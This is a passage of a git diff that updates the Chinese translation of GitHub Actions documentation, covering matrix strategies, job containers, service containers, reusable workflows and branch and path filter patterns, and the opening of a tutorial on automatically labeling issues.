+您可以定义不同作业配置的矩阵。 矩阵允许您通过在单个作业定义中执行变量替换来创建多个作业。 例如，可以使用矩阵为多个受支持的编程语言、操作系统或工具版本创建作业。 矩阵重新使用作业的配置，并为您配置的每个矩阵创建作业。
 
 {% data reusables.github-actions.usage-matrix-limits %}
 
-Each option you define in the `matrix` has a key and value. The keys you define become properties in the `matrix` context and you can reference the property in other areas of your workflow file. For example, if you define the key `os` that contains an array of operating systems, you can use the `matrix.os` property as the value of the `runs-on` keyword to create a job for each operating system. For more information, see "[Contexts](/actions/learn-github-actions/contexts)."
+您在 `matrix` 中定义的每个选项都有键和值。 定义的键将成为 `matrix` 上下文中的属性，您可以在工作流程文件的其他区域中引用该属性。 例如，如果定义包含操作系统数组的键 `os`，您可以使用 `matrix.os` 属性作为 `runs-on` 关键字的值，为每个操作系统创建一个作业。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts)”。
 
-The order that you define a `matrix` matters. The first option you define will be the first job that runs in your workflow.
+定义 `matrix` 事项的顺序。 定义的第一个选项将是工作流程中运行的第一个作业。
 
-### Example: Running multiple versions of Node.js
+### 示例：运行多个版本的 Node.js
 
-You can specify a matrix by supplying an array for the configuration options. For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`.
+您可以提供配置选项阵列来指定矩阵。 For example, if the runner supports Node.js versions 10, 12, and 14, you could specify an array of those versions in the `matrix`.
 
-This example creates a matrix of three jobs by setting the `node` key to an array of three Node.js versions. To use the matrix, the example sets the `matrix.node` context property as the value of the `setup-node` action's input parameter `node-version`. As a result, three jobs will run, each using a different Node.js version.
+此示例通过设置三个 Node.js 版本阵列的 `node` 键创建三个作业的矩阵。 为使用矩阵，示例将 `matrix.node` 上下文属性设置为 `setup-node` 操作的输入参数 `node-version`。 因此，将有三个作业运行，每个使用不同的 Node.js 版本。
 
 {% raw %}
 ```yaml
@@ -1140,14 +1140,14 @@ steps:
 ```
 {% endraw %}
 
-The `setup-node` action is the recommended way to configure a Node.js version when using {% data variables.product.prodname_dotcom %}-hosted runners. For more information, see the [`setup-node`](https://github.com/actions/setup-node) action.
+`setup-node` 操作是在使用 {% data variables.product.prodname_dotcom %} 托管的运行器时建议用于配置 Node.js 版本的方式。 更多信息请参阅 [`setup-node`](https://github.com/actions/setup-node) 操作。
 
-### Example: Running with multiple operating systems
+### 示例：使用多个操作系统运行
 
-You can create a matrix to run workflows on more than one runner operating system. You can also specify more than one matrix configuration. This example creates a matrix of 6 jobs:
+您可以创建矩阵以在多个运行器操作系统上运行工作流程。 您也可以指定多个矩阵配置。 此示例创建包含 6 个作业的矩阵：
 
-- 2 operating systems specified in the `os` array
-- 3 Node.js versions specified in the `node` array
+- 在 `os` 阵列中指定了 2 个操作系统
+- 在 `node` 阵列中指定了 3 个 Node.js 版本
 
 {% data reusables.repositories.actions-matrix-builds-os %}
 
@@ -1167,12 +1167,12 @@ steps:
 
 {% ifversion ghae %}
 For more information about the configuration of self-hosted runners, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."
-{% else %}To find supported configuration options for {% data variables.product.prodname_dotcom %}-hosted runners, see "[Virtual environments for {% data variables.product.prodname_dotcom %}-hosted runners](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)."
+{% else %}要查找 {% data variables.product.prodname_dotcom %} 托管的运行器支持的配置选项，请参阅“[{% data variables.product.prodname_dotcom %} 托管的运行器的虚拟环境](/actions/automating-your-workflow-with-github-actions/virtual-environments-for-github-hosted-runners)”。
 {% endif %}
 
-### Example: Including additional values into combinations
+### 示例：在组合中包含附加值
 
-You can add additional configuration options to a build matrix job that already exists. For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option.
+您可以将额外的配置选项添加到已经存在的构建矩阵作业中。 For example, if you want to use a specific version of `npm` when the job that uses `windows-latest` and version 8 of `node` runs, you can use `include` to specify that additional option.
 
 {% raw %}
 ```yaml
@@ -1190,9 +1190,9 @@ strategy:
 ```
 {% endraw %}
 
-### Example: Including new combinations
+### 示例：包括新组合
 
-You can use `include` to add new jobs to a build matrix. Any unmatched include configurations are added to the matrix. For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job.
+您可以使用 `include` 将新作业添加到构建矩阵中。 任何不匹配包含配置都会添加到矩阵中。 For example, if you want to use `node` version 14 to build on multiple operating systems, but wanted one extra experimental job using node version 15 on Ubuntu, you can use `include` to specify that additional job.
 
 {% raw %}
 ```yaml
@@ -1208,9 +1208,9 @@ strategy:
 ```
 {% endraw %}
 
-### Example: Excluding configurations from a matrix
+### 示例：从矩阵中排除配置
 
-You can remove a specific configurations defined in the build matrix using the `exclude` option. Using `exclude` removes a job defined by the build matrix. The number of jobs is the cross product of the number of operating systems (`os`) included in the arrays you provide, minus any subtractions (`exclude`).
+您可以使用 `exclude` 选项删除构建矩阵中定义的特定配置。 使用 `exclude` 删除由构建矩阵定义的作业。 作业数量是您提供的数组中所包括的操作系统 (`os`) 数量减去所有减项 (`exclude`) 后的叉积。
 
 {% raw %}
 ```yaml
@@ -1228,23 +1228,23 @@ strategy:
 
 {% note %}
 
-**Note:** All `include` combinations are processed after `exclude`. This allows you to use `include` to add back combinations that were previously excluded.
+**注意：**所有 `include` 组合在 `exclude` 后处理。 这允许您使用 `include` 添加回以前排除的组合。
 
 {% endnote %}
 
-#### Using environment variables in a matrix
+#### 在矩阵中使用环境变量
 
-You can add custom environment variables for each test combination by using the `include` key. You can then refer to the custom environment variables in a later step.
+您可以使用 `include` 键为每个测试组合添加自定义环境变量。 然后，您可以在后面的步骤中引用自定义环境变量。
 
 {% data reusables.github-actions.matrix-variable-example %}
 
 ## `jobs.<job_id>.strategy.fail-fast`
 
-When set to `true`, {% data variables.product.prodname_dotcom %} cancels all in-progress jobs if any `matrix` job fails. Default: `true`
+设置为 `true` 时，如果任何 `matrix` 作业失败，{% data variables.product.prodname_dotcom %} 将取消所有进行中的作业。 默认值：`true`
 
 ## `jobs.<job_id>.strategy.max-parallel`
 
-The maximum number of jobs that can run simultaneously when using a `matrix` job strategy. By default, {% data variables.product.prodname_dotcom %} will maximize the number of jobs run in parallel depending on the available runners on {% data variables.product.prodname_dotcom %}-hosted virtual machines.
+使用 `matrix` 作业策略时可同时运行的最大作业数。 默认情况下，{% data variables.product.prodname_dotcom %} 将最大化并发运行的作业数量，具体取决于 {% data variables.product.prodname_dotcom %} 托管虚拟机上可用的运行程序。
 
 ```yaml
 strategy:
@@ -1253,11 +1253,11 @@ strategy:
 
 ## `jobs.<job_id>.continue-on-error`
 
-Prevents a workflow run from failing when a job fails. Set to `true` to allow a workflow run to pass when this job fails.
+防止工作流程运行在作业失败时失败。 设置为 `true` 以允许工作流程运行在此作业失败时通过。
 
-### Example: Preventing a specific failing matrix job from failing a workflow run
+### 示例：防止特定失败的矩阵作业无法运行工作流程
 
-You can allow specific jobs in a job matrix to fail without failing the workflow run. For example, if you wanted to only allow an experimental job with `node` set to `15` to fail without failing the workflow run.
+您可以允许作业矩阵中的特定任务失败，但工作流程运行不失败。 例如， 只允许 `node` 设置为 `15` 的实验性作业失败，而不允许工作流程运行失败。
 
 {% raw %}
 ```yaml
@@ -1278,11 +1278,11 @@ strategy:
 
 ## `jobs.<job_id>.container`
 
-A container to run any steps in a job that don't already specify a container. If you have steps that use both script and container actions, the container actions will run as sibling containers on the same network with the same volume mounts.
+用于运行作业中尚未指定容器的任何步骤的容器。 如有步骤同时使用脚本和容器操作，则容器操作将运行为同一网络上使用相同卷挂载的同级容器。
 
-If you do not set a `container`, all steps will run directly on the host specified by `runs-on` unless a step refers to an action configured to run in a container.
+若不设置 `container`，所有步骤将直接在 `runs-on` 指定的主机上运行，除非步骤引用已配置为在容器中运行的操作。
 
-### Example
+### 示例
 
 ```yaml
 jobs:
@@ -1298,7 +1298,7 @@ jobs:
       options: --cpus 1
 ```
 
-When you only specify a container image, you can omit the `image` keyword.
+只指定容器映像时，可以忽略 `image` 关键词。
 
 ```yaml
 jobs:
@@ -1308,13 +1308,13 @@ jobs:
 
 ## `jobs.<job_id>.container.image`
 
-The Docker image to use as the container to run the action. The value can be the Docker Hub image name or a  registry name.
+要用作运行操作的容器的 Docker 镜像。 The value can be the Docker Hub image name or a  registry name.
 
 ## `jobs.<job_id>.container.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -1328,23 +1328,23 @@ container:
 
 ## `jobs.<job_id>.container.env`
 
-Sets a `map` of environment variables in the container.
+设置容器中环境变量的 `map`。
 
 ## `jobs.<job_id>.container.ports`
 
-Sets an `array` of ports to expose on the container.
+设置要在容器上显示的端口 `array`。
 
 ## `jobs.<job_id>.container.volumes`
 
-Sets an `array` of volumes for the container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+设置要使用的容器卷的 `array`。 您可以使用卷分享作业中服务或其他步骤之间的数据。 可以指定命名的 Docker 卷、匿名的 Docker 卷或主机上的绑定挂载。
 
-To specify a volume, you specify the source and destination path:
+要指定卷，需指定来源和目标路径：
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>` 是主机上的卷名称或绝对路径，`<destinationPath>` 是容器中的绝对路径。
 
-### Example
+### 示例
 
 ```yaml
 volumes:
@@ -1355,11 +1355,11 @@ volumes:
 
 ## `jobs.<job_id>.container.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+附加 Docker 容器资源选项。 有关选项列表，请参阅“[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)”。
 
 {% warning %}
 
-**Warning:** The `--network` option is not supported.
+**警告**：不支持 `--network` 选项。
 
 {% endwarning %}
 
@@ -1367,17 +1367,17 @@ Additional Docker container resource options. For a list of options, see "[`dock
 
 {% data reusables.github-actions.docker-container-os-support %}
 
-Used to host service containers for a job in a workflow. Service containers are useful for creating databases or cache services like Redis. The runner  automatically creates a Docker network and manages the life cycle of the service containers.
+用于为工作流程中的作业托管服务容器。 服务容器可用于创建数据库或缓存服务（如 Redis）。 运行器自动创建 Docker 网络并管理服务容器的生命周期。
 
-If you configure your job to run in a container, or your step uses container actions, you don't need to map ports to access the service or action. Docker automatically exposes all ports between containers on the same Docker user-defined bridge network. You can directly reference the service container by its hostname. The hostname is automatically mapped to the label name you configure for the service in the workflow.
+如果将作业配置为在容器中运行，或者步骤使用容器操作，则无需映射端口来访问服务或操作。 Docker 会自动在同一个 Docker 用户定义的桥接网络上的容器之间显示所有端口。 您可以直接引用服务容器的主机名。 主机名自动映射到为工作流程中的服务配置的标签名称。
 
-If you configure the job to run directly on the runner machine and your step doesn't use a container action, you must map any required Docker service container ports to the Docker host (the runner machine). You can access the service container using localhost and the mapped port.
+如果配置作业直接在运行器机器上运行，且您的步骤不使用容器操作，则必须将任何必需的 Docker 服务容器端口映射到 Docker 主机（运行器机器）。 您可以使用 localhost 和映射的端口访问服务容器。
 
-For more information about the differences between networking service containers, see "[About service containers](/actions/automating-your-workflow-with-github-actions/about-service-containers)."
+有关网络服务容器之间差异的更多信息，请参阅“[关于服务容器](/actions/automating-your-workflow-with-github-actions/about-service-containers)”。
 
-### Example: Using localhost
+### 示例：使用 localhost
 
-This example creates two services: nginx and redis. When you specify the Docker host port but not the container port, the container port is randomly assigned to a free port. {% data variables.product.prodname_dotcom %} sets the assigned container port in the {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} context. In this example, you can access the service container ports using the {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} and {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} contexts.
+此示例创建分别用于 nginx 和 redis 的两项服务。 指定 Docker 主机端口但不指定容器端口时，容器端口将随机分配给空闲端口。 {% data variables.product.prodname_dotcom %} 在 {% raw %}`${{job.services.<service_name>.ports}}`{% endraw %} 上下文中设置分配的容器端口。 在此示例中，可以使用 {% raw %}`${{ job.services.nginx.ports['8080'] }}`{% endraw %} 和 {% raw %}`${{ job.services.redis.ports['6379'] }}`{% endraw %} 上下文访问服务容器端口。
 
 ```yaml
 services:
@@ -1395,13 +1395,13 @@ services:
 
 ## `jobs.<job_id>.services.<service_id>.image`
 
-The Docker image to use as the service container to run the action. The value can be the Docker Hub image name or a  registry name.
+要用作运行操作的服务容器的 Docker 镜像。 The value can be the Docker Hub image name or a  registry name.
 
 ## `jobs.<job_id>.services.<service_id>.credentials`
 
 {% data reusables.actions.registry-credentials %}
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -1421,23 +1421,23 @@ services:
 
 ## `jobs.<job_id>.services.<service_id>.env`
 
-Sets a `map` of environment variables in the service container.
+在服务容器中设置环境变量的 `map`。
 
 ## `jobs.<job_id>.services.<service_id>.ports`
 
-Sets an `array` of ports to expose on the service container.
+设置要在服务容器上显示的端口 `array`。
 
 ## `jobs.<job_id>.services.<service_id>.volumes`
 
-Sets an `array` of volumes for the service container to use. You can use volumes to share data between services or other steps in a job. You can specify named Docker volumes, anonymous Docker volumes, or bind mounts on the host.
+设置要使用的服务容器卷的 `array`。 您可以使用卷分享作业中服务或其他步骤之间的数据。 可以指定命名的 Docker 卷、匿名的 Docker 卷或主机上的绑定挂载。
 
-To specify a volume, you specify the source and destination path:
+要指定卷，需指定来源和目标路径：
 
 `<source>:<destinationPath>`.
 
-The `<source>` is a volume name or an absolute path on the host machine, and `<destinationPath>` is an absolute path in the container.
+`<source>` 是主机上的卷名称或绝对路径，`<destinationPath>` 是容器中的绝对路径。
 
-### Example
+### 示例
 
 ```yaml
 volumes:
@@ -1448,24 +1448,24 @@ volumes:
 
 ## `jobs.<job_id>.services.<service_id>.options`
 
-Additional Docker container resource options. For a list of options, see "[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)."
+附加 Docker 容器资源选项。 有关选项列表，请参阅“[`docker create` options](https://docs.docker.com/engine/reference/commandline/create/#options)”。
 
 {% warning %}
 
-**Warning:** The `--network` option is not supported.
+**警告**：不支持 `--network` 选项。
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
 ## `jobs.<job_id>.uses`
 
-The location and version of a reusable workflow file to run as a job. 
+The location and version of a reusable workflow file to run as a job.
 
 `{owner}/{repo}/{path}/{filename}@{ref}`
 
-`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. For more information, see "[Security hardening for GitHub Actions](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)."
+`{ref}` can be a SHA, a release tag, or a branch name. Using the commit SHA is the safest for stability and security. 更多信息请参阅“[GitHub Actions 的安全性增强](/actions/learn-github-actions/security-hardening-for-github-actions#reusing-third-party-workflows)”。
 
-### Example
+### 示例
 
 {% data reusables.actions.uses-keyword-example %}
 
@@ -1479,7 +1479,7 @@ Any inputs that you pass must match the input specifications defined in the call
 
 Unlike [`jobs.<job_id>.steps[*].with`](#jobsjob_idstepswith), the inputs you pass with `jobs.<job_id>.with` are not be available as environment variables in the called workflow. Instead, you can reference the inputs by using the `inputs` context.
 
-### Example
+### 示例
 
 ```yaml
 jobs:
@@ -1501,7 +1501,7 @@ When a job is used to call a reusable workflow, you can use `secrets` to provide
 
 Any secrets that you pass must match the names defined in the called workflow.
 
-### Example
+### 示例
 
 {% raw %}
 ```yaml
@@ -1520,18 +1520,18 @@ A pair consisting of a string identifier for the secret and the value of the sec
 Allowed expression contexts: `github`, `needs`, and `secrets`.
 {% endif %}
 
-## Filter pattern cheat sheet
+## 过滤器模式备忘清单
 
-You can use special characters in path, branch, and tag filters.
+您可以在路径、分支和标记过滤器中使用特殊字符。
 
-- `*`: Matches zero or more characters, but does not match the `/` character. For example, `Octo*` matches `Octocat`.
-- `**`: Matches zero or more of any character.
-- `?`: Matches zero or one of the preceding character.
-- `+`: Matches one or more of the preceding character.
-- `[]` Matches one character listed in the brackets or included in ranges. Ranges can only include `a-z`, `A-Z`, and `0-9`. For example, the range`[0-9a-z]` matches any digit or lowercase letter. For example, `[CB]at` matches `Cat` or `Bat` and `[1-2]00` matches `100` and `200`.
-- `!`: At the start of a pattern makes it negate previous positive patterns. It has no special meaning if not the first character.
+- `*`： 匹配零个或多个字符，但不匹配 `/` 字符。 例如，`Octo*` 匹配 `Octocat`。
+- `**`： 匹配零个或多个任何字符。
+- `?`：匹配零个或一个前缀字符。
+- `+`: 匹配一个或多个前置字符。
+- `[]` 匹配列在括号中或包含在范围内的一个字符。 范围只能包含 `a-z`、`A-Z` 和 `0-9`。 例如，范围 `[0-9a-z]` 匹配任何数字或小写字母。 例如，`[CB]at` 匹配 `Cat` 或 `Bat`，`[1-2]00` 匹配 `100` 和 `200`。
+- `!`：在模式开始时，它将否定以前的正模式。 如果不是第一个字符，它就没有特殊的意义。
 
-The characters `*`, `[`, and `!` are special characters in YAML. If you start a pattern with `*`, `[`, or `!`, you must enclose the pattern in quotes.
+字符 `*`、`[` 和 `!` 是 YAML 中的特殊字符。 如果模式以 `*`、`[` 或 `!` 开头，必须用引号括住模式。
 
 ```yaml
 # Valid
@@ -1542,39 +1542,39 @@ The characters `*`, `[`, and `!` are special characters in YAML. If you start a
 - **/README.md
 ```
 
-For more information about branch, tag, and path filter syntax, see "[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)" and "[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)."
+有关分支、标记和路径过滤语法的更多详细，请参阅 "[`on.<push|pull_request>.<branches|tags>`](#onpushpull_requestbranchestags)" 和 "[`on.<push|pull_request>.paths`](#onpushpull_requestpaths)"。
 
-### Patterns to match branches and tags
+### 匹配分支和标记的模式
 
-| Pattern | Description | Example matches |
-|---------|------------------------|---------|
-| `feature/*` | The `*` wildcard matches any character, but does not match slash (`/`). |  `feature/my-branch`<br/><br/>`feature/your-branch` |
-| `feature/**` | The `**` wildcard matches any character including slash (`/`) in branch and tag names. | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
-| `main`<br/><br/>`releases/mona-the-octocat` | Matches the exact name of a branch or tag name. | `main`<br/><br/>`releases/mona-the-octocat` |
-| `'*'` | Matches all branch and tag names that don't contain a slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `main`<br/><br/>`releases` |
-| `'**'` | Matches all branch and tag names. This is the default behavior when you don't use a `branches` or `tags` filter. | `all/the/branches`<br/><br/>`every/tag` |
-| `'*feature'` | The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature` |
-| `v2*` | Matches branch and tag names that start with `v2`. | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9` |
-| `v[12].[0-9]+.[0-9]+` | Matches all semantic versioning branches and tags with major version 1 or 2 | `v1.10.1`<br/><br/>`v2.0.0` |
+| 模式                                                      | 描述                                                                   | 示例匹配                                                                                                                  |
+| ------------------------------------------------------- | -------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- |
+| `feature/*`                                             | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。                                          | `feature/my-branch`<br/><br/>`feature/your-branch`                                                        |
+| `feature/**`                                            | `**` 通配符匹配任何字符，包括分支和标记名称中的斜杠 (`/`)。                                  | `feature/beta-a/my-branch`<br/><br/>`feature/your-branch`<br/><br/>`feature/mona/the/octocat` |
+| `main`<br/><br/>`releases/mona-the-octocat` | 匹配分支或标记名称的确切名称。                                                      | `main`<br/><br/>`releases/mona-the-octocat`                                                               |
+| `'*'`                                                   | 匹配所有不包含斜杠 (`/`) 的分支和标记名称。 `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。 | `main`<br/><br/>`releases`                                                                                |
+| `'**'`                                                  | 匹配所有分支和标记名称。 这是不使用 `branches` or `tags` 过滤器时的默认行为。                   | `all/the/branches`<br/><br/>`every/tag`                                                                   |
+| `'*feature'`                                            | `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。                           | `mona-feature`<br/><br/>`feature`<br/><br/>`ver-10-feature`                                   |
+| `v2*`                                                   | 匹配以 `v2` 开头的分支和标记名称。                                                 | `v2`<br/><br/>`v2.0`<br/><br/>`v2.9`                                                          |
+| `v[12].[0-9]+.[0-9]+`                                   | 将所有语义版本控制分支和标记与主要版本 1 或 2 匹配                                         | `v1.10.1`<br/><br/>`v2.0.0`                                                                               |
 
-### Patterns to match file paths
+### 匹配文件路径的模式
 
-Path patterns must match the whole path, and start from the repository's root.
+路径模式必须匹配整个路径，并从仓库根开始。
 
-| Pattern | Description of matches | Example matches |
-|---------|------------------------|-----------------|
-| `'*'` | The `*` wildcard matches any character, but does not match slash (`/`). The `*` character is a special character in YAML. When you start a pattern with `*`, you must use quotes. | `README.md`<br/><br/>`server.rb` |
-| `'*.jsx?'` | The `?` character matches zero or one of the preceding character. | `page.js`<br/><br/>`page.jsx` |
-| `'**'` | The `**` wildcard matches any character including slash (`/`). This is the default behavior when you don't use a `path` filter. | `all/the/files.md` |
-| `'*.js'` | The `*` wildcard matches any character, but does not match slash (`/`). Matches all `.js` files at the root of the repository. | `app.js`<br/><br/>`index.js`
-| `'**.js'` | Matches all `.js` files in the repository. | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js` |
-| `docs/*`  | All files within the root of the `docs` directory, at the root of the repository. | `docs/README.md`<br/><br/>`docs/file.txt` |
-| `docs/**` | Any files in the `/docs` directory at the root of the repository. | `docs/README.md`<br/><br/>`docs/mona/octocat.txt` |
-| `docs/**/*.md` | A file with a `.md` suffix anywhere in the `docs` directory. | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`
-| `'**/docs/**'`   | Any files in a `docs` directory anywhere in the repository. | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`
-| `'**/README.md'` | A README.md file anywhere in the repository. | `README.md`<br/><br/>`js/README.md`
-| `'**/*src/**'` | Any file in a folder with a `src` suffix anywhere in the repository. | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`
-| `'**/*-post.md'` | A file with the suffix `-post.md` anywhere in the repository. | `my-post.md`<br/><br/>`path/their-post.md` |
-| `'**/migrate-*.sql'` | A file with the prefix `migrate-` and suffix `.sql` anywhere in the repository. | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql` |
-| `*.md`<br/><br/>`!README.md` | Using an exclamation mark (`!`) in front of a pattern negates it. When a file matches a pattern and also matches a negative pattern defined later in the file, the file will not be included. | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
-| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | Patterns are checked sequentially. A pattern that negates a previous pattern will re-include file paths. | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`|
+| 模式                                                                      | 匹配描述                                                                   | 示例匹配                                                                                                                     |
+| ----------------------------------------------------------------------- | ---------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------ |
+| `'*'`                                                                   | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。 `*` 字符是 YAML 中的特殊字符。 当模式以 `*` 开头时，您必须使用引号。 | `README.md`<br/><br/>`server.rb`                                                                             |
+| `'*.jsx?'`                                                              | `?` 个字符匹配零个或一个前缀字符。                                                    | `page.js`<br/><br/>`page.jsx`                                                                                |
+| `'**'`                                                                  | The `**` 通配符匹配任何字符，包括斜杠 (`/`)。 这是不使用 `path` 过滤器时的默认行为。                 | `all/the/files.md`                                                                                                       |
+| `'*.js'`                                                                | `*` 通配符匹配任何字符，但不匹配斜杠 (`/`)。 匹配仓库根目录上的所有 `.js` 文件。                      | `app.js`<br/><br/>`index.js`                                                                                 |
+| `'**.js'`                                                               | 匹配仓库中的所有 `.js` 文件。                                                     | `index.js`<br/><br/>`js/index.js`<br/><br/>`src/js/app.js`                                       |
+| `docs/*`                                                                | 仓库根目录下 `docs` 根目录中的所有文件。                                               | `docs/README.md`<br/><br/>`docs/file.txt`                                                                    |
+| `docs/**`                                                               | 仓库根目录下 `/docs` 目录中的任何文件。                                               | `docs/README.md`<br/><br/>`docs/mona/octocat.txt`                                                            |
+| `docs/**/*.md`                                                          | `docs` 目录中任意位置具有 `.md` 后缀的文件。                                          | `docs/README.md`<br/><br/>`docs/mona/hello-world.md`<br/><br/>`docs/a/markdown/file.md`          |
+| `'**/docs/**'`                                                          | 仓库中任意位置 `docs` 目录下的任何文件。                                               | `docs/hello.md`<br/><br/>`dir/docs/my-file.txt`<br/><br/>`space/docs/plan/space.doc`             |
+| `'**/README.md'`                                                        | 仓库中任意位置的 README.md 文件。                                                 | `README.md`<br/><br/>`js/README.md`                                                                          |
+| `'**/*src/**'`                                                          | 仓库中任意位置具有 `src` 后缀的文件夹中的任何文件。                                          | `a/src/app.js`<br/><br/>`my-src/code/js/app.js`                                                              |
+| `'**/*-post.md'`                                                        | 仓库中任意位置具有后缀 `-post.md` 的文件。                                            | `my-post.md`<br/><br/>`path/their-post.md`                                                                   |
+| `'**/migrate-*.sql'`                                                    | 仓库中任意位置具有前缀 `migrate-` 和后缀 `.sql` 的文件。                                 | `migrate-10909.sql`<br/><br/>`db/migrate-v1.0.sql`<br/><br/>`db/sept/migrate-v1.sql`             |
+| `*.md`<br/><br/>`!README.md`                                | 模式前使用感叹号 (`!`) 对其进行否定。 当文件与模式匹配并且也匹配文件后面定义的否定模式时，则不包括该文件。              | `hello.md`<br/><br/>_Does not match_<br/><br/>`README.md`<br/><br/>`docs/hello.md` |
+| `*.md`<br/><br/>`!README.md`<br/><br/>`README*` | 按顺序检查模式。 否定前一个模式的模式将重新包含文件路径。                                          | `hello.md`<br/><br/>`README.md`<br/><br/>`README.doc`                                            |
diff --git a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
index 20a2edd4b6..165f8bb72a 100644
--- a/translations/zh-CN/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
+++ b/translations/zh-CN/content/actions/managing-issues-and-pull-requests/adding-labels-to-issues.md
@@ -1,6 +1,6 @@
 ---
-title: Adding labels to issues
-intro: 'You can use {% data variables.product.prodname_actions %} to automatically label issues.'
+title: 向议题添加标签
+intro: '您可以使用 {% data variables.product.prodname_actions %} 自动标记议题。'
 redirect_from:
   - /actions/guides/adding-labels-to-issues
 versions:
@@ -17,17 +17,17 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## 简介
 
-This tutorial demonstrates how to use the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler) in a workflow to label newly opened or reopened issues. For example, you can add the `triage` label every time an issue is opened or reopened. Then, you can see all issues that need to be triaged by filtering for issues with the `triage` label.
+本教程演示如何在工作流程中使用 [`andymckay/labeler` 操作](https://github.com/marketplace/actions/simple-issue-labeler)来标记新打开或重新打开的议题。 例如，每次打开或重新打开议题时，您都可以添加 `triage` 标签。 然后，您可以通过筛选具有 `triage` 标签的议题来查看需要分类的所有议题。
 
-In the tutorial, you will first make a workflow file that uses the [`andymckay/labeler` action](https://github.com/marketplace/actions/simple-issue-labeler). Then, you will customize the workflow to suit your needs.
+在教程中，您将先创建一个使用 [`andymckay/labeler` 操作](https://github.com/marketplace/actions/simple-issue-labeler)的工作流程文件。 然后，您将自定义工作流以适应您的需要。
 
-## Creating the workflow
+## 创建工作流程
 
 1. {% data reusables.actions.choose-repo %}
 2. {% data reusables.actions.make-workflow-file %}
-3. Copy the following YAML contents into your workflow file.
+3. 将以下 YAML 内容复制到工作流程文件中。
 
     ```yaml{:copy}
 {% indented_data_reference reusables.actions.actions-not-certified-by-github-comment spaces=4 %}
@@ -51,22 +51,22 @@ In the tutorial, you will first make a workflow file that uses the [`andymckay/l
               repo-token: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
     ```
 
-4. Customize the parameters in your workflow file:
-   - Change the value for `add-labels` to the list of labels that you want to add to the issue. Separate multiple labels with commas. For example, `"help wanted, good first issue"`. For more information about labels, see "[Managing labels](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)."
+4. 自定义工工作流程文件中的参数：
+   - 将 `add-labels` 的值更改为您想要添加到此议题的标签列表。 使用逗号分隔多个标签。 例如 `"help wanted, good first issue"`。 有关标签的更多信息，请参阅“[管理标签](/github/managing-your-work-on-github/managing-labels#applying-labels-to-issues-and-pull-requests)”。
 5. {% data reusables.actions.commit-workflow %}
 
-## Testing the workflow
+## 测试工作流程
 
-Every time an issue in your repository is opened or reopened, this workflow will add the labels that you specified to the issue.
+每次打开或重新打开仓库中的议题时，此工作流程将添加您指定给此议题的标签。
 
-Test out your workflow by creating an issue in your repository.
+通过在仓库中创建议题来测试工作流程。
 
-1. Create an issue in your repository. For more information, see "[Creating an issue](/github/managing-your-work-on-github/creating-an-issue)."
-2. To see the workflow run that was triggered by creating the issue, view the history of your workflow runs. For more information, see "[Viewing workflow run history](/actions/managing-workflow-runs/viewing-workflow-run-history)."
-3. When the workflow completes, the issue that you created should have the specified labels added.
+1. 在仓库中创建议题。 更多信息请参阅“[创建议题](/github/managing-your-work-on-github/creating-an-issue)”。
